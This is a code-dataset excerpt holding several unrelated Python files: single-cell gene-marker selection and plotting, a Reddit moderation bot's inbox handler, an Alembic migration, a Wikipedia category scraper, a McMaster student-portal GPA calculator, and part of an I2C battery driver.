{}\n\t\t\tfor idx, c in enumerate(adata.obs[group_by].cat.categories):\n\t\t\t\tmyDict[c] = idx\n\n\t\t\tlabels = []\n\t\t\tfor l in adata.obs[group_by].tolist():\n\t\t\t\tlabels.append(myDict[l])\n\n\t\t\tlabels = np.array(labels)\n\n\t\t\tX = data\n\t\t\ty = labels\n\n\t\t\tX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=SEED, stratify=y)\n\t\t\n\t\tgenes = adata.var.index.tolist()\n\t\t\n\t\ttop = restrict_top[1]\n\t\tselectedGenes = []\n\t\tselectedGenes_dict = {}\n\t\t\n\t\tif restrict_top[0] == \"global\":\n\t\t\timportances = clf.feature_importances_\n\t\t\tindices = np.argsort(importances)[::-1]\n\t\t\tfor f in range(top):\n\t\t\t\tselectedGenes.append(genes[indices[f]])\n\t\t\tselectedGenes_dict[\"group\"] = selectedGenes\n\n\t\telif restrict_top[0] ==\"local\":\n\t\t\tfeature_importances = clf.feature_importances_\n\t\t\tN, M = X_train.shape\n\n\t\t\tout = {}\n\t\t\tfor c in set(y_train):\n\t\t\t\tout[c] = dict(zip(genes, np.mean(X_train[y_train==c, :], axis=0)*feature_importances))\n\t\t\t\t\n\t\t\tout = pd.DataFrame.from_dict(out)\n\t\t\tout.columns = adata.obs[group_by].cat.categories.tolist()\n\t\t\t\n\t\t\tfor cls in out.columns:\n\t\t\t\tselectedGenes += pd.DataFrame(out[cls]).sort_values(by=cls, ascending=False).index.tolist()[:top]\n\t\t\t\tselectedGenes_dict[cls] = pd.DataFrame(out[cls]).sort_values(by=cls, ascending=False).index.tolist()[:top]\n\t\t\t\t\n\t\treturn selectedGenes, selectedGenes_dict\n\n\n\t###########################################################################################\n\tdef run_classifiers(self, adata, group_by=None, genes=None, classifier=\"KNN\", balance=False, title=None, save=True):\n\t\t\"\"\"\\\n\t\t\tApplying gini to trained classifier by using ensemble_learning() method.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tgroup_by : string (default: None)\n\t\t\tgenes : list (default: None)\n\t\t\t\t...\n\t\t\tclassifier : sklearn.classifier (default: KNN)\n\t\t\t\t...\n\t\t\tbalance : boolean (default: False)\n\t\t\t\t...\n\t\t\ttitle : string (default: None)\n\t\t\t\t... \n\t\t\tsave : boolean (default: True)\n\t\t\t\t...\n\t\t\"\"\"\n\t\tif group_by is None:\n\t\t\tprint(\"select a group_by in .obs\")\n\t\t\treturn\n\t\tif group_by not in adata.obs.columns:\n\t\t\tprint(\"group_by must be in .obs\")\n\t\t\treturn \n\n\t\tmarkers_boolean = []\n\t\tfor gene in adata.var.index:\n\t\t\tif gene in genes:\n\t\t\t\tmarkers_boolean.append(True)\n\t\t\telse:\n\t\t\t\tmarkers_boolean.append(False)\n\t\tadata.var[\"markers\"] = markers_boolean\n\n\t\tdata = adata[:, adata.var.markers].X.copy()\n\t\tN, d = adata.shape\n\n\t\tnames = adata.obs[group_by].cat.categories.tolist()\n\n\t\tmyDict = {}\n\t\tfor idx, c in enumerate(adata.obs[group_by].cat.categories):\n\t\t\tmyDict[c] = idx\n\n\t\tlabels = []\n\t\tfor l in adata.obs[group_by].tolist():\n\t\t\tlabels.append(myDict[l])\n\n\t\tlabels = np.array(labels)\n\n\t\tX = data\n\t\ty = labels\n\t\t\n\t\tweight = []\n\t\tn = len(np.unique(y))\n\t\tfor k in range(n):\n\t\t\tif balance:\n\t\t\t\tw = len(y)/float(n*len(y[y==k]))\n\t\t\t\tweight.append(w)\n\t\t\telse:\n\t\t\t\tweight.append(1)\n\t\t\tclass_weight = dict(zip(range(n), weight))\n\n\t\tX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=SEED, stratify=y)\n\t\t\n\t\tif classifier==\"KNN\":\n\t\t\tif balance == True:\n\t\t\t\tprint(\"Warning: class_weight cannot be applied on KNN.\")\n\t\t\tneigh = KNeighborsClassifier(n_neighbors=3)\n\t\t\tneigh.fit(X_train, y_train)\n\t\t\tacc = neigh.score(X_test, y_test)\n\t\t\ty_pred = neigh.predict(X_test)\n\t\telif classifier==\"RF\":\n\t\t\trf = RandomForestClassifier(max_depth=2, random_state=SEED, class_weight=class_weight)\n\t\t\trf.fit(X_train, y_train)\n\t\t\tacc = rf.score(X_test, y_test)\n\t\t\ty_pred = rf.predict(X_test)\n\t\telif classifier==\"SVM\":\n\t\t\tsvm = SVC(gamma='auto', class_weight=class_weight)\n\t\t\tsvm.fit(X_train, y_train)\n\t\t\tacc = svm.score(X_test, y_test)\n\t\t\ty_pred = svm.predict(X_test)\n\t\t\t\n\t\tself.__confusionM(y_pred, y_test, labels=names, title=title, save=save)\n\t\tprint(\"Accuracy: %s: Misclassification: %s\"%(acc, 1-acc))\n\t\tprint(classification_report(y_test, y_pred, target_names=names))\n\n \n\n\t###########################################################################################\n\tdef sort_and_plot(self, adata, selectedGenes, group_by=None, group_by2=None, top=5, figsize=(5,8), restricted=True):\n\t\t\"\"\"\\\n\t\t\tApplying gini to trained classifier by using ensemble_learning() method.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tselectedGenes : list (default: None)\n\t\t\t\t... \n\t\t\tgroup_by : string (default: None)\n\t\t\t\t... \n\t\t\tgroup_by2 : string (default: None)\n\t\t\t\t... \n\t\t\ttop : integer (default: 5)\n\t\t\t\t...\n\t\t\tfigsize : set(float, float) (default: (5,8))\n\t\t\t\t... \n \t\t\trestricted : boolean (default: True)\n\t\t\t\t... \n \n\t\t\tReturns\n\t\t\t-------\n\t\t\tselectedGenes : list\n\t\t\t\t...\n\t\t\tselectedGenes_dict : dict\n\t\t\t\t...\n\t\t\"\"\"\n\t\tif group_by is None:\n\t\t\tprint(\"select a group_by in .obs\")\n\t\t\treturn\n\t\tif group_by not in adata.obs.columns:\n\t\t\tprint(\"group_by must be in .obs\")\n\t\t\treturn \n\t\tif group_by2 is not None:\n\t\t\tif group_by2 not in adata.obs.columns:\n\t\t\t\tprint(\"group_by must be in .obs\")\n\t\t\t\treturn \n\t\t\n\t\tmarkers_boolean = []\n\t\tfor gene in adata.var.index:\n\t\t\tif gene in selectedGenes:\n\t\t\t\tmarkers_boolean.append(True)\n\t\t\telse:\n\t\t\t\tmarkers_boolean.append(False)\n\t\tadata.var[\"markers\"] = markers_boolean\n\t\t\n\t\tadata = adata[:, adata.var.markers]\n\n\t\tadata.X = adata.layers[\"log\"]\n\t\tadata.raw = adata.copy()\n\t\tadata.X = adata.layers[\"scale\"]\n\t\t\n\t\tsc.tl.rank_genes_groups(adata,\n\t\t\t\t\t\t\t\tgroupby=group_by, \n\t\t\t\t\t\t\t\tn_genes=adata.n_vars,\n\t\t\t\t\t\t\t\tmethod='wilcoxon',\n\t\t\t\t\t\t\t\tkey_added=\"rank_genes_groups\",\n\t\t\t\t\t\t\t\tcorr_method='bonferroni')\n\t\tif restricted:\n\t\t\tsc.tl.filter_rank_genes_groups(adata,\n\t\t\t\t\t\t\t\t\t\t min_in_group_fraction=0.3,\n\t\t\t\t\t\t\t\t\t\t min_fold_change=0.0,\n\t\t\t\t\t\t\t\t\t\t key=\"rank_genes_groups\",\n\t\t\t\t\t\t\t\t\t\t key_added=\"rank_genes_groups_filtered\",\n\t\t\t\t\t\t\t\t\t\t max_out_group_fraction=1)\n\n\t\tif restricted:\n\t\t\tdf = pd.DataFrame(adata.uns[\"rank_genes_groups_filtered\"][\"names\"])\n\t\telse:\n\t\t\tdf = pd.DataFrame(adata.uns[\"rank_genes_groups\"][\"names\"])\n\n\t\tfinalSelectedGenes_dict = {}\n\t\tfinalSelectedGenes_dict_top ={}\n\t\tcleanedLists = []\n\t\tfor col in df.columns:\n\t\t\tcleanedList = [x for x in df[col].tolist() if str(x) != 'nan']\n\t\t\tcleanedLists += cleanedList\n\t\t\tfinalSelectedGenes_dict[col] = cleanedList\n\t\t\tfinalSelectedGenes_dict_top[col] = cleanedList[:top]\n\t\t\n\t\tif group_by2 is None:\n\t\t\tgroups = group_by\n\t\telse:\n\t\t\tgroups = group_by2\n\t\tmatplotlib.rcdefaults()\n\t\tmatplotlib.rcParams.update({'font.size': 11})\n\t\tax = sc.pl.DotPlot(adata,\n\t\t\t\t\t\t finalSelectedGenes_dict_top,\n\t\t\t\t\t\t groupby=groups,\n\t\t\t\t\t\t standard_scale='var',\n\t\t\t\t\t\t use_raw=True,\n\t\t\t\t\t\t figsize=figsize,\n\t\t\t\t\t\t linewidths=2).style(cmap=mymap, color_on='square', grid=True, dot_edge_lw=1)\n\t\tax.swap_axes(swap_axes=True)\n\t\tax.show()\n\t\treturn ax, finalSelectedGenes_dict_top\n\n","sub_path":"smashpy/smashpy.py","file_name":"smashpy.py","file_ext":"py","file_size_in_byte":34491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"644107400","text":"from pprint import pprint\r\n\r\nimport praw, prawcore\r\nfrom peewee import IntegrityError,DoesNotExist\r\n\r\nfrom database import Subreddit\r\n\r\n\r\ndef process_new_messages(reddit: praw.Reddit, processed_messages, G):\r\n # Check new messages\r\n new_mail = [mail for mail in reddit.inbox.unread(limit=None)]\r\n new_mail.reverse()\r\n\r\n # Avoid PRAW's caching by temporarily storing and checking the IDs\r\n for mail in new_mail:\r\n if mail.id in processed_messages:\r\n continue\r\n else:\r\n processed_messages.append(mail.id)\r\n pprint(vars(mail))\r\n # if comment reply or approved submitter notification, ignore\r\n if mail.was_comment or mail.subject == 'you are an approved submitter':\r\n mail.mark_read()\r\n continue\r\n # if reply, forward to me\r\n if mail.subject.startswith(\"re:\"):\r\n reddit.redditor(\"pcjonathan\").message(\"Reply from /u/{}\".format(mail.author),\r\n \"{}\\n#####\\n\\n{}\".format(mail.subject, mail.body))\r\n if mail.author != \"pcjonathan\" and not mail.subreddit:\r\n mail.reply(\"I'm sorry. As a bot, I'm not allowed to read responses to my messages. Your message has been forwarded to \"\r\n \"my master. If you're trying to perform an action, please double check you have entered it correctly. \"\r\n \"If you're giving feedback, thanks! It'll be read and if applicable, you'll get a response.\"\r\n \"\\n\\nMany thanks!\")\r\n mail.mark_read()\r\n continue\r\n # If possibly mod invite, try it\r\n if mail.subject.startswith(\"invitation to moderate\"):\r\n try:\r\n if mail.subreddit in []:\r\n mail.mark_read()\r\n mail.reply(\"Sorry, Your subreddit has been blacklisted\")\r\n else:\r\n reddit.subreddit(mail.subreddit).mod.accept_invite()\r\n reddit.subreddit(mail.subreddit).message(\"Hello!\",\r\n \"Hi there! Thanks for inviting me. I don't have any documentation as yet but send my master, /u/PCJonathan, a message with what you want,\"\r\n \"be it prebuilt or something you want specially done, and he'll get in touch.\")\r\n mail.mark_read()\r\n try:\r\n Subreddit.create(subreddit = mail.subreddit)\r\n except IntegrityError:\r\n pass\r\n print(\"Accepted Moderator Invite to /r/\", mail.subreddit.display_name)\r\n continue\r\n except Exception as e:\r\n print(e)\r\n continue\r\n\r\n\r\n subj = mail.subject.lower().split()\r\n # if moderator mailer\r\n if subj[0] in [\"mail\", \"modmail\"]:\r\n print(\"modmail\")\r\n if len(subj) == 2:\r\n subreddit = subj[1].split('/')[-1]\r\n try:\r\n if mail.author in reddit.subreddit(subreddit).moderator:\r\n for mod in reddit.subreddit(subreddit).moderator:\r\n if mod == mail.author:\r\n continue\r\n while True:\r\n try:\r\n mod.message(\"/r/{} message from /u/{}\".format(subreddit, mail.author), mail.body)\r\n break\r\n except:\r\n from time import sleep\r\n print(\"Failed. Waiting and trying again\")\r\n sleep(10)\r\n mail.reply(\"Your message to /r/{} has been sent\".format(subreddit))\r\n else:\r\n mail.reply(\"You are not a moderator of that subreddit so you cannot send individual messages to it\")\r\n except prawcore.Forbidden:\r\n mail.reply(\r\n \"The subreddit is private. I need to be added as an approved submitter to see the list of users.\")\r\n mail.mark_read()\r\n continue\r\n\r\n if subj[0] == \"trakt\":\r\n import trakt_movie_progress\r\n trakt_movie_progress.trakt_movie_progress(mail)\r\n continue\r\n\r\n if subj[0] == \"update\":\r\n from subreddit_settings import update_settings\r\n update_settings(reddit, subreddit=mail.body)\r\n mail.reply(\"Updated\")\r\n mail.mark_read()\r\n continue\r\n\r\n ## Doctor Who Vote\r\n if subj[0] == \"doctorwho\" and len(subj) == 3 and mail.author != None:\r\n if subj[1] == \"duration\" and subj[2] == \"survey\":\r\n from database import Dwdays\r\n from datetime import datetime\r\n if Dwdays.select().where(Dwdays.user == mail.author.name).exists():\r\n print(\"True\")\r\n try:\r\n try:\r\n # If already verified\r\n entry = Dwdays.get(Dwdays.user == mail.author.name)\r\n old = entry.days\r\n entry.days = int(mail.body)\r\n if entry.days < 0:\r\n raise ValueError\r\n entry.save()\r\n mail.mark_read()\r\n mail.reply(\r\n \"I have updated your entry from {} day(s) to {} day(s). Thanks for participating!\".format(old, mail.body))\r\n continue\r\n except DoesNotExist:\r\n errors = \"\"\r\n if datetime.utcfromtimestamp(mail.author.created_utc) > datetime(2016, 1, 20):\r\n errors += \"* Your account is not old enough\\n\\n\"\r\n contributed = False\r\n for item in mail.author.new(limit=None):\r\n if str(item.subreddit).lower() in [\"doctorwho\", \"gallifrey\"]:\r\n contributed = True\r\n break\r\n if not contributed:\r\n errors += \"* You have not contributed to the subreddit before (or I cannot find a time you have)\\n\\n\"\r\n if int(mail.body) < 0:\r\n errors += \"* The number must be positive\"\r\n if len(errors) > 0: #If invalid\r\n mail.mark_read()\r\n mail.reply(\"Unfortunately, I couldn't accept your entry for the following reason(s):\\n\\n\" + errors)\r\n continue\r\n else:\r\n Dwdays.create(user = mail.author.name, days = int(mail.body))\r\n mail.mark_read()\r\n mail.reply(\"I have now cast your entry of {} day(s). Thank you for participating.\".format(mail.body))\r\n continue\r\n except ValueError:\r\n mail.mark_read()\r\n mail.reply(\"Your vote was unrecognisable as a number of days. Please try it again or contact for help (you can reply to this message, comment on the post or send a message directly to /u/PCJonathan).\")\r\n continue\r\n\r\n if subj[0] in [\"doctorwho\", \"gallifrey\"] and len(subj) == 3 and mail.author != None and subj[1] == \"story\" and subj[2] == \"poll\":\r\n from doctorwho.story_poll import story_poll\r\n story_poll(reddit, mail)\r\n continue\r\n\r\n if subj[0] == \"stevenuniverse\" and len(subj) == 2 and mail.author != None and subj[1] == \"leaks\":\r\n mail.reply(\"The poll is now closed. Thank you for participating.\")\r\n mail.mark_read()\r\n continue\r\n\r\n # if subj[0] in [\"doctorwho\", \"gallifrey\"] and len(subj) == 4 and mail.author != None and subj[1] == \"series\" and subj[3] == \"poll\":\r\n # from poll.poll import poll\r\n # poll(mail, subj)\r\n\r\n if mail.subreddit:\r\n print(\"Modmail response. Ignoring.\")\r\n mail.mark_read()\r\n continue\r\n\r\n # If nothing gets picked up previously\r\n print(\"Nothing picked up\")\r\n mail.reply(\"I couldn't understand your message. Please try it again (double check spelling and syntax, primarily in your subject) or send a message to /u/PCJonathan. (I am a bot and this action was performed automatically.)\")\r\n mail.mark_read()","sub_path":"messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":8538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"191380761","text":"\"\"\"Make Match details nullable\n\nRevision ID: 6fb9fbed5f20\nRevises: 04aa90f6d5f1\nCreate Date: 2019-10-17 09:52:05.886003\n\n\"\"\"\nfrom sqlalchemy.dialects import postgresql\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"6fb9fbed5f20\"\ndown_revision = \"04aa90f6d5f1\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column(\n \"matches\",\n \"number_of_shares\",\n existing_type=postgresql.DOUBLE_PRECISION(precision=53),\n nullable=True,\n )\n op.alter_column(\n \"matches\",\n \"price\",\n existing_type=postgresql.DOUBLE_PRECISION(precision=53),\n nullable=True,\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column(\n \"matches\",\n \"price\",\n existing_type=postgresql.DOUBLE_PRECISION(precision=53),\n nullable=False,\n )\n op.alter_column(\n \"matches\",\n \"number_of_shares\",\n existing_type=postgresql.DOUBLE_PRECISION(precision=53),\n nullable=False,\n )\n # ### end Alembic commands ###\n","sub_path":"alembic/versions/20191017_095205_make_match_details_nullable.py","file_name":"20191017_095205_make_match_details_nullable.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"283834373","text":"import urllib.request\nfrom lxml import etree\n\n\nclass Category:\n # returns list of (Pages) OR (Subcategories) pageids of the given category\n # second param, mode, defaults to \"page\"\n # mode=\"page\" - returns Pages\n # mode=\"subcat\" - returns Subcategories\n @staticmethod\n def __get_pages_or_subcategories(pageid, mode=\"page\"):\n wiki_xml = Category.__get(\"https://en.wikipedia.org/w/api.php?action=query&list=categorymembers\"\n \"&cmlimit=600&format=xml&cmtype=\" + mode + \"&cmpageid=\" + str(pageid))\n root = etree.fromstring(wiki_xml)\n categorymembers = root.findall(\".//categorymembers/cm\")\n return list(cm.get('pageid') for cm in categorymembers)\n\n @staticmethod\n def __get(url):\n req = urllib.request.Request(\n url,\n data=None,\n headers={\n 'User-Agent': 'Lab2/1.0'\n }\n )\n\n f = urllib.request.urlopen(req)\n return f.read().decode('utf-8')\n\n # analyzes the given category and the subcategories,\n # returns list of (Pages) pageids, affiliated with this category and the subcategories\n @staticmethod\n def analyze_category(cat_pageid):\n pages = list()\n pages.extend(Category.__get_pages_or_subcategories(cat_pageid, \"page\"))\n for subcat_pageid in Category.__get_pages_or_subcategories(cat_pageid, \"subcat\"):\n pages.extend(Category.__get_pages_or_subcategories(subcat_pageid, \"page\"))\n return pages\n","sub_path":"courses/database_discipline/course3_term2/labs/lab2/python/category.py","file_name":"category.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"34092366","text":"import mechanize\nimport http.cookiejar as cookielib\nfrom bs4 import BeautifulSoup\nimport html2text\nimport time\n\n# TODO: CLEAN UP CODE!\n\nclass Grade:\n def __init__(self, name, link, term, grade, units):\n self.name = name\n self.link = link \n self.term = term\n self.grade = grade\n self.units = units\n\ndef get_semster_ordered_list(grade_list):\n semster_set = set()\n year_set = set()\n for grade in grade_list:\n semster_set.add(grade.term)\n year_set.add(int(grade.term[:4]))\n \n # TODO: order the list\n months_ordered_list = [\"Winter\", \"Spring/Summer\", \"Fall\"]\n years_ordered_list = list(year_set)\n years_ordered_list.sort()\n #print(str(years_ordered_list))\n semester_ordered_list = []\n semester_list = list(semster_set)\n\n for year in years_ordered_list:\n for month in months_ordered_list:\n for sem in semester_list:\n #print(str(year)+\" \"+sem)\n if (sem == str(year)+\" \"+month):\n semester_ordered_list.append(sem)\n\n return semester_ordered_list\n\n\n\ndef print_grade_list(grade_list):\n for grade in grade_list:\n print(\"Name: \"+ grade.name)\n #print(\"Link: \"+ grade.link)\n print(\"Term: \"+ grade.term)\n print(\"Grade: \"+ grade.grade)\n print(\"Units: \"+ grade.units + \"\\n\")\n\nletter_grades_list = [\"A+\",\"A\",\"A-\",\"B+\",\"B\",\"B-\",\"C+\",\"C\",\"C-\",\"D+\",\"D\",\"D-\"]\n\ngd_12_to_letter = { 12.0:\"A+\",\n 11.0:\"A\",\n 10.0:\"A-\",\n 9.0:\"B+\",\n 8.0:\"B\",\n 7.0:\"B-\",\n 6.0:\"C+\",\n 5.0:\"C\",\n 4.0:\"C-\",\n 3.0:\"D+\",\n 2.0:\"D\",\n 1.0:\"D-\"} # grade_dict mcmaster to letter grade\n\ngd_letter_to_12 = {\"A+\": 12,\n \"A\": 11,\n \"A-\": 10,\n \"B+\": 9,\n \"B\": 8,\n \"B-\": 7,\n \"C+\": 6,\n \"C\": 5,\n \"C-\": 4,\n \"D+\": 3,\n \"D\": 2,\n \"D-\": 1} # grade_dict mcmaster to letter grade\n\ngd_4_to_12 = { 12.0:4.0,\n 11.0:3.9,\n 10.0:3.7,\n 9.0:3.3,\n 8.0:3.0,\n 7.0:2.7,\n 6.0:2.3,\n 5.0:2.0,\n 4.0:1.7,\n 3.0:1.3,\n 2.0:1.0,\n 1.0:0.7} # grade_dict_2 mcmaster to 4.0 scale (https://gradecalc.info/ca/on/mcmaster/gpa_calc.pl)\ngd_letter_to_4 = { \"A+\":4.0,\n \"A\":3.9,\n \"A-\":3.7,\n \"B+\":3.3,\n \"B\":3.0,\n \"B-\":2.7,\n \"C+\":2.3,\n \"C\":2.0,\n \"C-\":1.7,\n \"D+\":1.3,\n \"D\":1.0,\n \"D-\":0.7} # grade_dict_2 mcmaster to 4.0 scale (https://gradecalc.info/ca/on/mcmaster/gpa_calc.pl)\n\n\ndef slep(seconds, read):\n while seconds:\n if read:\n print(\"Sleeping... \" + str(seconds))\n time.sleep(1) # Delay for 1 minute (60 seconds).\n seconds -= 1\n\ndef find_indicies(string, match_string):\n # returns first and end index (end not inclusive)\n start_idx = string.find(match_string) + len(match_string)\n tmp_idx = start_idx\n while(string[tmp_idx] != \"<\"):\n tmp_idx += 1\n\n end_idx = tmp_idx\n return start_idx, end_idx\n\ndef get_cell_text(string, match_string):\n start, finish = find_indicies(response_html, match_string)\n return string[start:finish]\n\n# Browser\nbr = mechanize.Browser()\n\n# Cookie Jar\ncj = cookielib.LWPCookieJar()\nbr.set_cookiejar(cj)\n\n# Browser options\nbr.set_handle_equiv(True)\nbr.set_handle_gzip(True)\nbr.set_handle_redirect(True)\nbr.set_handle_referer(True)\nbr.set_handle_robots(False)\nbr.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)\n\nbr.addheaders = [('User-agent', 'Chrome')]\n\n# The site we will navigate into, handling it's session\nbr.open('https://epprd.mcmaster.ca/psp/prepprd/?cmd=login&languageCd=ENG&')\n\n# View available forms\n#for f in br.forms():\n# print(\"\" + str(f))\n\n# Select the second (index one) form (the first form is a search query box)\nbr.select_form(nr=0)\n\n# User credentials\n#print(str(br.form))\n\nusers_student_name = input(\"Enter your Student Name (e.g smithj6): \")\nusers_password = input(\"Enter your Password: \")\nbr.form['userid'] = users_student_name\nbr.form['pwd'] = users_password\n\n# Login\nbr.submit()\n\nsite1 = 'https://epprd.mcmaster.ca/psp/prepprd/EMPLOYEE/SA/c/SA_LEARNER_SERVICES.SSS_STUDENT_CENTER.GBL'\nsite2 = 'https://csprd.mcmaster.ca/psp/prcsprd/EMPLOYEE/SA/c/SA_LEARNER_SERVICES_2.SSS_MY_CRSEHIST.GBL?pts_Portal=EMPLOYEE&pts_PortalHostNode=EMPL&pts_Market=GBL'\nsite3 = 'https://csprd.mcmaster.ca/psc/prcsprd/EMPLOYEE/SA/c/SA_LEARNER_SERVICES_2.SSS_MY_CRSEHIST.GBL?pts_Portal=EMPLOYEE&pts_PortalHostNode=EMPL&pts_Market=GBL&PortalActualURL=https%3a%2f%2fcsprd.mcmaster.ca%2fpsc%2fprcsprd%2fEMPLOYEE%2fSA%2fc%2fSA_LEARNER_SERVICES_2.SSS_MY_CRSEHIST.GBL%3fpts_Portal%3dEMPLOYEE%26pts_PortalHostNode%3dEMPL%26pts_Market%3dGBL&PortalContentURL=https%3a%2f%2fcsprd.mcmaster.ca%2fpsc%2fprcsprd%2fEMPLOYEE%2fSA%2fc%2fSA_LEARNER_SERVICES_2.SSS_MY_CRSEHIST.GBL&PortalContentProvider=SA&PortalCRefLabel=My%20Course%20History&PortalRegistryName=EMPLOYEE&PortalServletURI=https%3a%2f%2fcsprd.mcmaster.ca%2fpsp%2fprcsprd%2f&PortalURI=https%3a%2f%2fcsprd.mcmaster.ca%2fpsc%2fprcsprd%2f&PortalHostNode=SA&NoCrumbs=yes&PortalKeyStruct=yes'\nresponse = br.open(site3)\nresponse_html = response.read().decode('utf-8')\nnum_courses = response_html.count(\"id='CRSE_TERM$\")\nif num_courses == 0:\n print(\"Try Again: Bad username/password combination (or deprecated code), exiting...\")\n slep(3,0)\n exit()\n \n\n#print(response_html)\n#out_file = \"adam_test.txt\" \n#f = open(out_file,\"w\")\n#f.write(response_html) # writes course history page into out_file\nfind_list = ['id=\"CRSE_NAME{}\">', \n 'id=\"CRSE_LINK{}\">', \n 'id=\"CRSE_TERM{}\">', \n 'id=\"CRSE_GRADE{}\">', \n 'id=\"CRSE_UNITS{}\">']\n\n\n#y=response_html.find(\"id='CRSE_NAME$0'>'\")\n#y=response_html.find(\"id='CRSE_TERM$0'>\")\n#print(y)\nidx = 0\ntmp_list = []\nwhile(idx\".format(idx))\n link = get_cell_text(response_html, \"id='CRSE_LINK${}'>\".format(idx))\n term = get_cell_text(response_html, \"id='CRSE_TERM${}'>\".format(idx))\n grades = get_cell_text(response_html, \"id='CRSE_GRADE${}'>\".format(idx))\n units = get_cell_text(response_html, \"id='CRSE_UNITS${}'>\".format(idx))\n tmp = Grade(name,link,term,grades,units)\n tmp_list.append(tmp)\n idx += 1\ngrade_list = tmp_list\n# print_grade_list(tmp_list)\n\ntotal_units=0\nmac_grade_points=0\nmac_grade_points=0\nfour_point_o_grade_points = 0\n\nfor grade in grade_list:\n if (grade.grade not in letter_grades_list):\n #print(\"<>\"+grade.grade)\n #print(\"<<>>\" +grade.units[0])\n continue\n total_units += int(grade.units[0])\n mac_grade_points += int(grade.units[0]) * gd_letter_to_12[grade.grade]\n four_point_o_grade_points += int(grade.units[0]) * gd_letter_to_4[grade.grade]\n\nmac_avg = float(mac_grade_points) / total_units\nmac_avg_div_3 = mac_avg / 3.0\nfour_avg = float(four_point_o_grade_points) / total_units\n\n#print(\"\\nResults\")\n#print(\"4.0 GPA points gained by converting properly: {}\".format(round(four_avg-mac_avg_div_3),4))\n#print(\"Num Courses: {}\".format(num_courses))\n#print(\"Total Units: {}\".format(total_units))\n#print(\"12.0 Avg: {}\".format(round(mac_avg,4)))\n#print(\"Incorrectly Calculated 4.0 Avg: {}\".format(round(mac_avg_div_3,4)))\n#print(\"Correctly Calculated 4.0 Avg: {}\".format(round(four_avg,4)))\n#print(\"\\nResults\")\nprint(\"4.0 GPA points gained by converting properly: {:.4f}\".format(four_avg-mac_avg_div_3))\nprint(\"Num Courses: {}\".format(num_courses))\nprint(\"Total Units: {}\".format(total_units))\nprint(\"12.0 Avg: {:.4f}\".format(mac_avg))\nprint(\"Incorrectly Calculated 4.0 Avg: {:.4f}\".format(mac_avg_div_3))\nprint(\"Correctly Calculated 4.0 Avg: {:.4f}\\n\".format(four_avg))\n\nif(input('Enter \"y\" to see your average for a range of semsters or anything else to exit: ')!=\"y\"):\n print(\"Exiting\")\n slep(2,0)\n exit()\n\nsemster_ordered_list = get_semster_ordered_list(grade_list)\ntmp_idx=1\nfor sem in semster_ordered_list:\n print(str(tmp_idx) +\". \" +sem)\n tmp_idx += 1\n\nin_str = input(\"Which sems to average (format: start-end eg, 2-6): \")\nvalid = (len(in_str.split(\"-\")) == 2)\nwhile not valid: \n print(\"Bad input, try again\")\n in_str = input(\"Which sems to average (format: start-end eg, 2-6): \")\n valid = (len(in_str.split(\"-\")) == 2)\n\n\nstart_sem = int(in_str.split(\"-\")[0])\nfinal_sem = int(in_str.split(\"-\")[1])\nsem_sub_list = semster_ordered_list[start_sem-1:final_sem+1]\n#print(str(sem_sub_list))\n# calc avearger within range of dates only\n###################################################################\ntotal_units=0\nmac_grade_points=0\nmac_grade_points=0\nfour_point_o_grade_points = 0\nsub_num_courses = 0\nfor grade in grade_list:\n if (grade.grade not in letter_grades_list or grade.term not in sem_sub_list):\n #print(\"<>\"+grade.grade)\n #print(\"<<>>\" +grade.units[0])\n continue\n total_units += int(grade.units[0])\n mac_grade_points += int(grade.units[0]) * gd_letter_to_12[grade.grade]\n four_point_o_grade_points += int(grade.units[0]) * gd_letter_to_4[grade.grade]\n sub_num_courses += 1\n\nmac_avg = float(mac_grade_points) / total_units\nmac_avg_div_3 = mac_avg / 3.0\nfour_avg = float(four_point_o_grade_points) / total_units\n\nprint(\"\\n4.0 GPA points gained by converting properly: {:.4f}\".format(four_avg-mac_avg_div_3))\nprint(\"Num Courses: {}\".format(sub_num_courses))\nprint(\"Total Units: {}\".format(total_units))\nprint(\"12.0 Avg: {:.4f}\".format(mac_avg))\nprint(\"Incorrectly Calculated 4.0 Avg: {:.4f}\".format(mac_avg_div_3))\nprint(\"Correctly Calculated 4.0 Avg: {:.4f}\".format(four_avg))\n###################################################################\n\ninput(\"\\nHit enter to exit\\n\")\n","sub_path":"auto_gpa_calculator.py","file_name":"auto_gpa_calculator.py","file_ext":"py","file_size_in_byte":9821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"69551031","text":"from Adafruit_I2C import Adafruit_I2C\nimport time\n\n'''\nThrow error returns if the response from EPS is 0xF000\nthis means that the reading information is not yet ready to be read\nor that the read was not preceeded by a write\n'''\n\n\nclass battery_driver:\n def __init__(self):\n self.address = 0x20\n self.batt = 0x2A\n self.i2c_bus = Adafruit_I2C(self.address,busnum=1,debug=False) #second argument tells bus number\n self.debug = 1\n self.read_wait = 0.2 # Longest delay is 200ms\n\n def send_command(self, byteList, recvLength):\n self.i2c_bus.writeList(self.batt, byteList)\n time.sleep(self.read_wait) #Look up in datasheet\n reply = self.i2c_bus.readList(self.batt, recvLength)\n if reply[0] == 0xFF and reply[1] == 0xFF:\n if self.debug == 1:\n print(\"ERROR 